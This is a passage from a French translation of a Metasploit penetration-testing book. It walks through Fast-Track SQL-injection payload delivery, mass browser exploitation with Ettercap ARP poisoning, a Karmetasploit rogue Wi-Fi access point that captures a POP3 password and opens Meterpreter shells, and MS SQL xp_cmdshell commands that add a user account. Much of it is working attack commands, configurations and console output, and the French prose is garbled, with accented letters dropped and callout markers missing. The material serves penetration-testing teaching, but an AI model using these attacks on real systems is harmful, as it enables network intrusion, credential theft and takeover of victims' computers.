Les tapes de configuration finales exigent que vous slectionniez un
payload. Dans lexemple suivant, slectionnez Metasploit Meterpreter
Reflective Reverse TCP avec le port en sur lequel vous souhaitez
que votre machine attaquante coute. Aprs que Fast-Track a exploit
avec succs linjection SQL, il envoie un payload la cible et vous
prsentera ventuellement votre shell Meterpreter en .
What type of payload do you want?

1. Custom Packed Fast-Track Reverse Payload (AV Safe)

2. Metasploit Reverse VNC Inject (Requires Metasploit)

3. Metasploit Meterpreter Payload (Requires Metasploit)

4. Metasploit TCP Bind Shell (Requires Metasploit)

5. Metasploit Meterpreter Reflective Reverse TCP

6. Metasploit Reflective Reverse VNC

Select your choice: 5
Enter the port you want to listen on: 9090
[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]
[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: xp_cmdhshell if disabled. [+]
[+] Delivery Complete. [+]
Created by msfpayload (http://www.metasploit.com).
Payload: windows/patchupmeterpreter/reverse_tcp
Length: 310
Options: LHOST=10.211.55.130,LPORT=9090
Launching MSFCLI Meterpreter Handler
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]
. . . SNIP . . .

Running cleanup before launching the payload....
[+]
Launching the PAYLOAD!! This may take up to two or three
minutes. [+]
[*]
bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (718347 bytes)...
[*] Upload completed.
[*]
10.211.55.128:1031)

meterpreter >
Le gnrateur de binaire-hexadcimal est utile lorsque vous avez dj
accs un systme et que vous voulez installer un excutable sur le
systme de fichiers distant. Indiquez lexcutable Fast-Track et il va
gnrer un fichier texte que vous pourrez copier et coller dans le systme
dexploitation cible. Pour convertir nouveau lhexadcimal en un
fichier binaire et lexcuter, choisissez loption 6, comme illustr ci-aprs
en .
Enter the number: 6
Binary to Hex Generator v0.1

. . . SNIP . . .
Enter the path to the file you want to convert to hex:

/pentest/exploits/fasttrack/nc.exe

Finished...
Opening text editor...

// La sortie ressemblera a

DEL T 1>NUL 2>NUL
echo EDS:0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00>>T
echo EDS:10 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>T
echo FDS:20 L 10 00>>T
echo EDS:30 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00>>T

echo EDS:40 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54
68>>T
echo EDS:50 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F>>T

echo EDS:60 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20>>T

echo EDS:70 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00
00>>T
Aprs avoir slectionn Binary to Hex Payload Converter, prsentez
Fast-Track le binaire que vous voulez convertir en et attendez que la
magie opre. ce stade, vous pouvez simplement copier-coller loutput
en dans un shell existant.
Lattaque massive ct client est analogue la fonction Browser
Autopwn, mais cette attaque comprend des exploits supplmentaires et des
fonctionnalits intgres qui peuvent incorporer du poisoning de cache
ARP et d DNS sur la machine cible, ainsi que des exploits navigateur
supplmentaires ne figurant pas dans Metasploit.
Lorsquun utilisateur se connecte votre serveur web, Fast-Track
dclenche tous les exploits prsents dans son arsenal, ainsi que ceux du
framework Metasploit. Si la machine de lutilisateur est sensible une
vulnrabilit spcifique prsente dans lune de ces librairies, lattaquant
obtiendra un accs complet la machine cible.
Enter the number: 4
. . . SNIP . . .
Enter the IP Address you want the web server to listen on:
10.211.55.130

Specify your payload:

1. Windows Meterpreter Reverse Meterpreter
2. Generic Bind Shell
3. Windows VNC Inject Reverse_TCP (aka "Da Gui")
4. Reverse TCP Shell

Enter the number of the payload you want: 1
Aprs avoir slectionn loption 4, Mass Client-Side Attack , partir du
menu principal, spcifiez Fast-Track quelle adresse IP le serveur web
doit couter , puis choisissez un payload .
Ensuite, dcidez si vous souhaitez utiliser Ettercap pour effectuer lARP
poisoning de votre machine cible. Ettercap interceptera toutes les
requtes que la cible fera et les redirigera vers votre serveur malveillant.
Aprs avoir confirm que vous souhaitez utiliser Ettercap en , entrez
ladresse IP de la cible que vous souhaitez "poisonner" . Fast-Track
fera le reste et paramtrera Ettercap pour vous.

Would you like to use Ettercap to ARP poison a host yes or no: yes

. . . SNIP . . .

What IP Address do you want to poison: 10.211.55.128
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter...

. . . SNIP . . .

Filter compiled...Running Ettercap and poisoning target...
Une fois quun client se connecte votre serveur malveillant, Metasploit
lance les exploits contre la cible. Dans la liste suivante, vous pouvez
voir que lexploit Adobe est russi et quun shell Meterpreter vous attend
.
Note
Vous pouvez utiliser le poisoning de cache ARP dans cette attaque, mais
il ne fonctionne que lorsque vous tes sur le mme sous-rseau local non
filtr que la cible.
[*] Local IP: http://10.211.55.130:8071/
[*] Server started.
[*] Using URL: http://0.0.0.0:8072/
[*] Local IP: http://10.211.55.130:8072/
[*] Server started.
msf exploit(zenturiprogramchecker_unsafe) >
[*] Using URL: http://0.0.0.0:8073/
[*] Local IP: http://10.211.55.130:8073/
[*] Server started.
Sending Adobe Collab.getIcon() Buffer Overflow to
[*] 10.211.55.128:1044...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 10.211.55.128:1047...
[*]
Sending Adobe JBIG2Decode Memory Corruption Exploit to
10.211.55.128:1046...
[*] Sending exploit to 10.211.55.128:1049...
[*] Attempting to exploit ani_loadimage_chunksize
[*]
Sending Windows ANI LoadAniIcon() Chunk Size Stack
Overflow (HTTP) to 10.211.55.128:1076...
[*]
bytes)
[*]
10.211.55.128:1077
msf exploit(zenturiprogramchecker_unsafe) > sessions -l
Active sessions
===============

Id Description Tunnel

-- ----------- ------

1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1077

msf exploit(zenturiprogramchecker_unsafe) > sessions -i 1


meterpreter >
Fast-Track offre une multitude de possibilits dexploitation qui tendent
encore les nombreuses fonctionnalits du framework Metasploit.
Lorsquil est coupl avec Metasploit, il permet dutiliser des vecteurs
dattaque avancs et de contrler compltement une machine cible. Bien
sr, les vecteurs dattaque automatiss ne russissent pas toujours, cest
pourquoi vous devez comprendre le systme sur lequel vous effectuez
lattaque et faire en sorte que, lorsque vous lattaquerez, vous connatrez
vos chances de succs. Si un outil automatis choue, votre capacit
effectuer des tests manuellement et attaquer avec succs le systme cible
fera de vous un meilleur pentester.
12
Karmetasploit
Sommaire
Configuration
Lancement de lattaque
La rcolte dinformations
Obtenir un Shell
Karmetasploit est limplmentation de KARMA dans Metasploit, un
ensemble doutils de scurit sans fil dvelopps par Dino Dai Zovi et
Shane Macaulay. KARMA tire parti dune vulnrabilit inhrente la
manire dont les systmes Windows XP et Mac OS X recherchent des
rseaux : chaque dmarrage du systme, ils envoient des beacons la
recherche de rseaux auxquels ils se sont dj connects.
Un attaquant utilisant KARMA met en place un faux point daccs sur
son ordinateur puis coute et rpond aux beacons de la cible, faisant
semblant dtre le rseau sans fil auquel la cible cherche se connecter.
Parce que la plupart des ordinateurs cibles sont configurs pour se
connecter automatiquement aux rseaux sans fil quils ont dj utiliss,
KARMA peut tre utilis pour prendre le contrle du trafic rseau dune
cible, ce qui permet un attaquant de lancer des attaques ct client,
capturer les mots de passe, etc. Avec la prvalence de rseaux
dentreprise sans fil faiblement scuriss, un attaquant peut se tenir
proximit (parking, bureau adjacent ou autre) et avoir accs au rseau
dune cible sans grande difficult. Vous pouvez en savoir plus sur la mise
en uvre initiale de KARMA http://trailofbits.com/karma/.
Karmetasploit est limplmentation de lattaque KARMA dans le
framework Metasploit. Il met en uvre divers services tels que DNS,
POP3, IMAP4, SMTP, FTP, SMB et HTTP. Ces services acceptent et
rpondent la plupart des demandes des cibles et serviront toutes sortes
dactions malveillantes (les diffrents modules sont dans le rpertoire
modules/auxiliary/server situ la racine de Metasploit).
Configuration
Karmetasploit ncessite trs peu de configuration. Pour commencer, il
faut configurer un serveur DHCP qui sera utilis pour distribuer des
adresses IP aux rseaux cibles. Back|Track inclut un serveur DHCP mais
nous aurons besoin de crer une version modifie du fichier de
configuration pour lutiliser avec Karmetasploit, comme indiqu dans la
liste suivante :
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;

option routers 10.0.0.1;

option domain-name-servers 10.0.0.1;

}
Nous sauvegardons notre fichier original dhcpd.conf en entrant
cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.back, puis nous crons
un fichier contenant les donnes indiques en qui desserviront des
adresses dans la plage 10.0.0.100 10.0.0.254 (si vous ntes pas
habitu aux configurations DHCP, ne vous inquitez pas, tant que votre
nouveau fichier dhcpd.conf ressemble cela, il devrait fonctionner
correctement).
Ensuite, on tlcharge le fichier de ressources KARMA, parce que, tout
comme la configuration DHCP prcdente, il nest pas inclus dans la
version classique de Metasploit :
root@bt:/opt/metasploit3/msf3# wget http://www.offensive-
security.com/downloads/karma.rc
Lorsque nous ouvrons le fichier de ressources de KARMA, karma.rc,
nous pouvons voir la squence dvnements qui se produisent lors de
lexcution, comme indiqu ici :
root@bt:/opt/metasploit3/msf3# cat karma.rc
db_connect postgres:toor@127.0.0.1/msfbook
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 10.0.0.1
set LPORT 45000
Karmetasploit 179
set SRVPORT 55550
set URIPATH /ads
run
use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false

run
Aprs le chargement de la base de donnes (db_connect
postgres:toor@127.0.0.1/msfbook) dans laquelle seront stocks ses
rsultats, KARMA charge le serveur browser_autopwn comme indiqu
en . Il sagit dun moyen pratique dessayer un certain nombre
dexploits contre un navigateur dune manire non cible. Une poigne
dexploits bass sur les navigateurs dans le Framework contiennent la
directive include Msf::Exploit::Remote::BrowserAutopwn:. Les exploits
qui contiennent cette ligne include seront excuts lorsque le serveur
autopwn sera consult.
En et , ladresse IP locale est configure 10.0.0.1, qui concide
avec la configuration DHCP par dfaut. Puis, partir de la ligne situe en
, les diffrents serveurs sont configurs et dmarrs (pour obtenir une
image complte de ce qui se passe dans cette attaque, lisez le fichier de
ressources).
Ensuite, nous mettons notre carte wifi en mode moniteur. La faon dont
nous faisons cela dpend du chipset de notre carte. La carte wifi dans
lexemple suivant utilise le chipset RT73. Nous utilisons airmon-ng start
wlan0 pour la mettre en mode moniteur :
root@bt:/opt/metasploit3/msf3# airmon-ng start wlan0
Note
Si votre carte utilise un chipset diffrent de celui utilis dans cet exemple,
visitez le site web dAircrack-ng http://www.aircrack-ng.org/ pour plus
de dtails sur la faon de configurer votre carte en mode moniteur.
Le composant airbase-ng de la suite Aircrack-ng est utilis pour crer le
faux point daccs de Karmetasploit. Dans lexemple suivant, nous allons
configurer le point daccs airbase-ng pour rpondre toutes les trames
"probes request" (-P), qui envoient des trames beacon toutes les trente
secondes (-C 30) avec lESSID Free Wi-Fi (-e "Free WiFi"), en mode
verbose (-v) et en utilisant linterface mon0 :

root@bt:/opt/metasploit3/msf3# airbase-ng -P -C 30 -e Free WiFi
-v mon0
14:06:57 Created tap interface at0
14:06:57 Trying to set MTU on at0 to 1500
14:06:57 Trying to set MTU on mon0 to 1800
14:06:57 Access Point with BSSID 00:21:29:E2:DE:14 started.
Comme vous pouvez le voir en , Airbase-ng cre une nouvelle
interface appele at0, que Karmetasploit va utiliser. Ensuite, nous
activons linterface at0 et dmarrons le serveur DHCP :
root@bt:/opt/metasploit3/msf3# ifconfig at0 up 10.0.0.1 netmask

255.255.255.0
root@bt:/opt/metasploit3/msf3# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

. . . SNIP . . .

Wrote 0 leases to leases file.
Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24
Sending on LPF/at0/00:21:29:e2:de:14/10.0.0/24
Sending on Socket/fallback/fallback-net
Cant create PID file /var/run/dhcpd.pid: Permission denied.
root@bt:/opt/metasploit3/msf3# ps aux |grep dhcpd
dhcpd 4015 0.0 0.2 3812 1840 ? Ss 14:09 0:00
dhcpd3 -cf
/etc/dhcp3/dhcpd.conf
at0
root 4017 0.0 0.0 2012 564 pts/4 S+ 14:09 0:00 grep dhcpd
root@bt:/opt/metasploit3/msf3# tail tail -f /var/log/messages

Apr 2 14:06:57 bt kernel: device mon0 entered promiscuous mode
Apr 2 14:09:30 bt dhcpd: Internet Systems Consortium DHCP Server V3.1.1
Apr 2 14:09:30 bt kernel:
warning: dhcpd3 uses 32-bit capabilities (legacy
support in use)
Apr 2 14:09:30 bt dhcpd:
Copyright 2004-2008 Internet Systems
Consortium.
Apr 2 14:09:30 bt dhcpd: All rights reserved.
Apr 2 14:09:30 bt dhcpd: For info, please visit http://www.isc.org/sw/dhcp/
Apr 2 14:09:30 bt dhcpd: Wrote 0 leases to leases file.
Apr 2 14:09:30 bt dhcpd: Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24
Apr 2 14:09:30 bt dhcpd: Sending on LPF/at0/00:21:29:e2:de:14/10.0.0/24
On dmarre linterface at0 en utilisant ladresse IP 10.0.0.1 montre en
, et on dmarre le serveur DHCP en utilisant le fichier de configuration
que nous avons cr plus tt, en utilisant galement at0 comme interface,
comme indiqu en . Pour sassurer que le serveur DHCP est
fonctionnel, on lance un rapide ps aux en . Enfin, on affiche les
dernires lignes du fichier de log messages par la commande tail en
pour voir quand les adresses IP seront distribues.
Maintenant que lensemble de la configuration de Karmetasploit est
termin, nous pouvons charger le fichier de ressources depuis msfconsole
en utilisant karma.rc comme illustr ci-aprs (notez que nous pouvons
galement passer le fichier de ressources en paramtre de msfconsole
via la ligne de commande en entrant msfconsole-r karma.rc). Voyons
cela en action :
msf > resource karma.rc

resource (karma.rc)> db_connect
postgres:toor@127.0.0.1/msfbook
resource (karma.rc)> use auxiliary/server/browser_autopwn
resource (karma.rc)> setg AUTOPWN_HOST 10.0.0.1

AUTOPWN_HOST => 10.0.0.1

resource (karma.rc)> setg AUTOPWN_PORT 55550

AUTOPWN_PORT => 55550
resource (karma.rc)> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource (karma.rc)> set LHOST 10.0.0.1
LHOST => 10.0.0.1
resource (karma.rc)> set LPORT 45000
LPORT => 45000
resource (karma.rc)> set SRVPORT 55550
SRVPORT => 55550
resource (karma.rc)> set URIPATH /ads
URIPATH => /ads
resource (karma.rc)> run
resource (karma.rc)> use auxiliary/server/capture/pop3
resource (karma.rc)> set SRVPORT 110
SRVPORT => 110
resource (karma.rc)> set SSL false
SSL => false
resource (karma.rc)> run

. . . SNIP . . .

[*]
Starting exploit windows/browser/winzip_fileview with payload
[*] Using URL: http://0.0.0.0:55550/N9wReDJhfKg
[*] Local IP: http://192.168.1.101:55550/N9wReDJhfKg
[*] Server started.
[*]
Starting handler for windows/meterpreter/reverse_tcp on port
3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] --- Done, found 15 exploit modules
[*] Using URL: http://0.0.0.0:55550/ads
[*] Local IP: http://192.168.1.101:55550/ads

[*] Server started.
Comme vous pouvez le voir, de nombreuses tapes sont effectues
automatiquement grce au fichier de ressources. Dans cet exemple,
ladresse LHOST est configure 10.0.0.1 en , le service POP3 (entre
autres) dmarre en , les exploits autopwn sont chargs en et les
payloads sont configurs en .
Recueil dinformations
Lorsquune cible se connecte notre point daccs malveillant, le fichier
message, que nous scrutons laide de la commande tail, nous montre
quune adresse IP a t attribue. Cest notre signal pour revenir
msfconsole pour voir ce qui se passe. Ici, nous voyons quune cible se
connecte et se voit attribuer une adresse IP :
Apr 2 15:07:34 bt dhcpd: DHCPDISCOVER from 00:17:9a:b2:b1:6d via
at0
Apr 2 15:07:35 bt dhcpd: DHCPOFFER on 10.0.0.100 to 00:17:9a:b2:b1:6d
(v-xp-sp2-bare) via at0
Apr 2 15:07:35 bt dhcpd: DHCPREQUEST for 10.0.0.100 (10.0.0.1) from
00:17:9a:b2:b1:6d(v-xp-sp2-bare) via at0
Apr 2 15:07:35 bt dhcpd: DHCPACK on 10.0.0.100 to 00:17:9a:b2:b1:6d
(v-xp-sp2-bare) via at0
La premire chose que notre cible fait est douvrir son client mail.
Karmetasploit est en attente, comme illustr ici :
[*] DNS 10.0.0.100:1049 XID 45030 (IN::A time.windows.com)
[*] DNS 10.0.0.100:1049 XID 47591 (IN::A pop3.securemail.com)
[*] POP3 LOGIN 10.0.0.100:1102 bsmith / s3cr3tp4s5
Le serveur POP3 configur par Metasploit intercepte le nom dutilisateur
et le mot de passe du compte e-mail de la cible en , parce que toutes les
requtes DNS sont interceptes par le serveur DNS que Karmetasploit a
mis en place.
Obtenir un shell
ce stade, lutilisateur na pas de nouveaux messages, alors il dcide de
faire un peu de navigation sur le Web. Lorsque le navigateur souvre, un
portail captif est prsent lutilisateur (voir Figure 12.1).
Figure 12.1
Karmetasploit captive portal.
Pendant que lutilisateur, devant son ordinateur, se demande ce quil se
passe, Karmetasploit est occup configurer lattaque pour capturer les
cookies, mettre en place de faux e-mails, DNS et autres serveurs et
lancer des exploits contre le navigateur de la cible. Cest le rsultat du
contenu de notre karma.rc file.
Bien entendu, une dose de chance est ncessaire dans cette attaque. Le
navigateur affichera une page de chargement pendant que les exploits
seront lancs. Si lutilisateur est impatient, il peut simplement fermer la
fentre du navigateur, ce qui empchera nos exploits dagir.
Ci-dessous, vous pouvez voir la quantit massive de traces gnres par
cette attaque :

[*]
HTTP REQUEST 10.0.0.100 > www.microsoft.com:80 GET /isapi/redir.dll Windows IE 6.0 cookies=WT_NVR=0=/:1=downloads:2=downloads/en;
WT_FPC=id=111.222.333.444-
1008969152.30063513:lv=1267703430218:ss=1267703362203;MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&LV=20103&V=3;
A=I&I=AxUFAAAAAAAuBwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
[*] Request /ads from 10.0.0.100:1371
[*] HTTP REQUEST 10.0.0.100 > adwords.google.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > blogger.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > careerbuilder.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE 6.0 cookies=

. . . SNIP . . .

[*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] Request /ads?sessid=V2luZG93czpYUDpTUDI6ZW4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo%3d from 10.0.0.100:1371
[*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;SP2:
[*] Responding with exploits
[*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 6.0 cookies=
HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE 6.0 cookies=WT_FPC=id=111.222.333.444-
[*] 1008969152.30063513:lv=1267703430218:ss=1267703362203;
MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&LV=20103&V=3;A=I&I=AxUFAAAAAAAuBwAADSAT6RJMarfs902pHsnj0g!!;
MUID=C7149D932C86418EBC913CE45C4326AE
[*] HTTP 10.0.0.100 attempted to download an ActiveX control
[*]
1008969152.30063513:lv=1267703430218:ss=1267703362203;
[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 10.0.0.100:1371...
[*]
1008969152.30063513:lv=1267703430218:ss=1267703362203;
[*]
HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0 cookies=WT_FPC=id=111.222.333.444-
1008969152.30063513:lv=1267703430218:ss=1267703362203; MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=d23f&LV=20103&V=3;

. . . SNIP . . .

[*]
[*]
[*]
[*] Sending EXE payload to 10.0.0.100:1371...
[*] Meterpreter session 1 opened (10.0.0.1:3333 -> 10.0.0.100:1438)
Dans ces traces, vous pouvez voir en que Metasploit commence par
faire croire la cible que divers sites web populaires sont en fait situs
sur la machine attaquante. Puis, en , il utilise du JavaScript afin de
dterminer le systme dexploitation et le navigateur de la cible et rpond
en avec des exploits bass sur cette empreinte. En la cible est
prsente avec un contrle ActiveX malveillant, provoquant la fameuse
barre jaune dInternet Explorer (voir Figure 12.1). Vous pouvez
galement voir, cach dans les traces en , quun exploit a t lanc
contre la cible. Aprs un bref instant, vous voyez en que lexploit a
russi et quune session Meterpreter a t ouverte sur le PC cible !
De retour msfconsole, nous pouvons interagir avec la session qui a t
cre et vrifier quelles sont les permissions que nous avons acquises sur
la cible. Rappelez-vous, lorsque vous exploitez un navigateur, cest
toujours une bonne ide de migrer votre processus en dehors du
navigateur web au cas o ce dernier serait referm.
meterpreter > sessions -i 1
meterpreter > sysinfo
Computer : V-XP-SP2-BARE
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language : en_US
Server username: V-XP-SP2-BARE\Administrator
meterpreter > run migrate -f
[*] Current server process: jEFiwxBKyjoHGijtP.exe (3448)
meterpreter > screenshot
Screenshot saved to: /opt/metasploit3/msf3/rkGrMLPa.jpeg
meterpreter >
Comme il sagit dune installation par dfaut de Windows XP SP2 avec le
trs peu fiable Internet Explorer 6 (les deux ntant absolument pas
jour), la cible na mme pas besoin daccepter et dinstaller le contrle
ActiveX malveillant.
Conclusion
Les attaques contre les rseaux sans fil ont t un sujet populaire pendant
un certain temps. Bien que cette attaque puisse prendre un peu de temps
pour sa configuration, imaginez son succs contre un certain nombre de
cibles configures de faon similaire et situes dans une zone fort trafic
ou publique. Cette approche dattaque de rseau client sans fil est
populaire parce quelle est plus facile quune attaque brutale contre une
infrastructure sans fil bien scurise.
Maintenant que vous avez vu avec quelle facilit on peut procder ce
type dattaque, vous rflchirez probablement deux fois avant dutiliser
des rseaux sans fil publics. tes-vous sr que le caf offre gratuitement
une connexion Wi-Fi ? Ou bien quelquun a-t-il lanc Karmetasploit ?
13
Construire son propre module
Sommaire
Excuter une commande dans Microsoft SQL
Explorer un module Metasploit existant
Crer un nouveau module
Le pouvoir de la rutilisation du code
Construire son propre module Metasploit est relativement simple, partir
du moment o on a de lexprience dans la programmation et une ide de
ce quon veut construire. Puisque Metasploit est essentiellement bas sur
Ruby, dans ce chapitre nous travaillerons avec ce langage de
programmation. Si vous ntes pas encore un as de Ruby mais que vous
avez dj t en contact avec ce langage, ne vous inquitez pas ;
continuez vous entraner et apprendre. Cest assez facile dapprendre
Ruby sur le tas. Si vous avez du mal avec les concepts de ce chapitre,
laissez-le tomber pour le moment, essayez de vous forger une
connaissance en Ruby, puis relisez ce chapitre.
Nous allons crire un module appel mssql_powershell pour matriser une
technique qui a vu le jour lors de la dix-huitime confrence de hacking
Defcon par Josh Kelley (winfang) et David Kennedy. Ce module cible
des plateformes Windows o Microsoft Powershell est install (install
par dfaut sur Windows 7). Il convertit un payload MSF binaire standard
en hex-blob (une reprsentation hexadcimale de donnes binaire) qui
peut tre transmis un systme cible via des commandes Microsoft SQL.
Une fois que le payload est sur le systme cible, un script Powershell est
utilis pour convertir les donnes hexadcimales de nouveau en
excutable binaire, lexcuter et dlivrer un shell lattaquant. Ce
module est dj dans Metasploit et a t dvelopp par un des auteurs de
ce livre ; cest un bon apprentissage pour savoir comment construire ses
propres modules.
La capacit convertir du binaire en hexadcimal, le transmettre via
MS SQL et le reconvertir en binaire est un trs bon exemple de la
puissance du framework Metasploit. En ralisant des pentests, vous allez
rencontrer beaucoup de scnarios ou de situations inhabituels ; votre
capacit crer ou modifier des modules et des exploits la vole vous
donnera le petit plus dont vous aurez besoin. En comprenant le
framework, vous serez capable dcrire ce type de modules en
relativement peu de temps.
Comme mentionn au Chapitre 6, la plupart des administrateurs systme
dfinissent un faible mot de passe pour le compte sa (administrateur
systme) sans se rendre compte des consquences de cette simple erreur.
Le compte sa est par dfaut install avec le rle SQL de sysadmin et, en
effectuant des pentests, vous avez de fortes chances de trouver un
compte sa avec un mot de passe faible ou vide sur des instances
Microsoft SQL Server. Nous utiliserons linstance MS SQL que vous avez
cre dans lappendice A pour tester notre module. Comme cela a t dit
au Chapitre 6, scannez tout dabord le systme grce lauxiliaire
Metasploit, puis bruteforcez le compte sa faible.
Ensuite, vous pouvez insrer, effacer, crer et raliser la plupart des
autres tches que vous utiliseriez normalement dans MS SQL. Cela inclut
lappel la procdure stocke xp_cmdshell (voir Chapitre 6). Celle-ci
vous permet dexcuter des commandes sous-jacentes du systme
dexploitation avec le mme contexte de scurit que celui utilis par le
service SQL Server (par exemple, Local System).
Note
MS SQL sinstalle avec cette procdure stocke, dsactive dans SQL
Server 2005 et 2008, mais vous pouvez la ractiver en utilisant des
commandes SQL si vous avez le rle sysadmin dans MS SQL. Par
exemple, vous pouvez utiliser SELECT loginname FROM
master..syslogins WHERE sysadmin=1 pour voir tous les utilisateurs avec
ce niveau daccs et aprs devenir un de ces utilisateurs. Si vous avez le
rle sysadmin, vous tes presque sr davoir compromis tout le systme.
Le listing suivant montre comment excuter des commandes simples via
le module MS SQL Metasploit :
use msf > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options

Module options:

---- --------------- -------- -----------
CMD
cmd.exe /c echo
OWNED >
C:\owned.exe
no
Command to
execute
PASSWORD no
The password
for the specified
username
RHOST yes
The target
address
USERNAME sa no
The username
to authenticate
as
msf auxiliary(mssql_exec) > set RHOST 172.16.32.136

RHOST => 172.16.32.136
msf auxiliary(mssql_exec) > set CMD net user metasploit

p@55w0rd /ADD
CMD => net user metasploit p@55w0rd /ADD

msf auxiliary(mssql_exec) > exploit

[*]
SQL Query: EXEC master..xp_cmdshell net user metasploit
p@55w0rd /ADD

output
------


msf auxiliary(mssql_exec) >
Dans cet exemple, nous slectionnons dabord le module auxiliaire
mssql_exec en , qui appelle la procdure stocke xp_cmdshell pour
excuter les commandes. Ensuite, nous affichons les options du module
en et dfinissons notre cible en , et la commande excuter sur la
cible en . Enfin, nous lanons lexploit avec la commande exploit, et
vous pouvez voir en que lexploitation est russie. Nous avons ajout
un utilisateur au systme avec la procdure stocke xp_cmdshell. ce
point-l, nous pourrions saisir net localgroup administrators
metasploit/ADD pour ajouter un utilisateur au groupe dadministrateurs
locaux sur le systme compromis. Vous pouvez voir le module
mssql_exec comme une invite de commande accessible via MS SQL.
Exploration dun module Metasploit existant
Nous allons voir maintenant ce qui se passe "sous le capot" du module que
nous venons dutiliser, mssql_exec. Cela nous permet de nous faire une
ide sur la faon dont fonctionne le code avant dcrire le ntre. Ouvrons
le module avec un diteur de texte afin de voir comment il fonctionne.
root@bt:/opt/framework3/msf3# nano
modules/auxiliary/admin/mssql/mssql_exec.rb
Les lignes suivantes extraites du module nous renvoient quelques
lments mritant dtre nots.
require msf/core


include Msf::Exploit::Remote::MSSQL

def run
mssql_xpcmdshell(datastore[CMD], true)

if mssql_login_datastore

end
La premire ligne en indique que ce module inclura toutes les
fonctionnalits des librairies centrales Metasploit. Ensuite, la classe est
fixe en avec un code qui indique quil sagit dun module auxiliaire
qui hrite de certaines caractristiques des scanners, vecteurs de dni de
service, rcuprateurs de donnes, attaques bruteforce et des essais de
reconnaissance.
La dclaration include en est probablement lune des lignes les plus
importantes, parce quelle appelle le module MS SQL depuis les librairies
centrales de Metasploit. Ce module gre principalement toutes les
communications bases sur MS SQL et tout ce qui est relatif MS SQL.
Enfin, en le code appelle une commande spcifique depuis la banque
de donnes Metasploit.
Examinons la fonction MS SQL dans les librairies centrales de Metasploit
afin de mieux saisir ltendue de son pouvoir. Ouvrez mssql.rb puis
mssql_commands.rb avec les commandes suivantes, chacune dans une
fentre diffrente.
root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.
lib/msf/core/exploit/mssql_commands.rb
Dans Nano, appuyez sur Ctrl+W pour chercher mssql_xpcdmshell dans
mssql.rb, et vous devriez trouver la dfinition qui indique Metasploit
comment utiliser la procdure xp_cmdshell :
# Excution dune commande systme via xp_cmdshell
def mssql_xpcmdshell(cmd,doprint=false,opts={})
force_enable = false
begin

res = mssql_query("EXEC master..xp_cmdshell? #{cmd}?",
false, opts
Ce code dfinit la requte SQL lancer contre le serveur, comme un
appel la procdure stocke xp_cmdshell en , et une variable qui va
tre remplace par la ligne de commande que lutilisateur demande
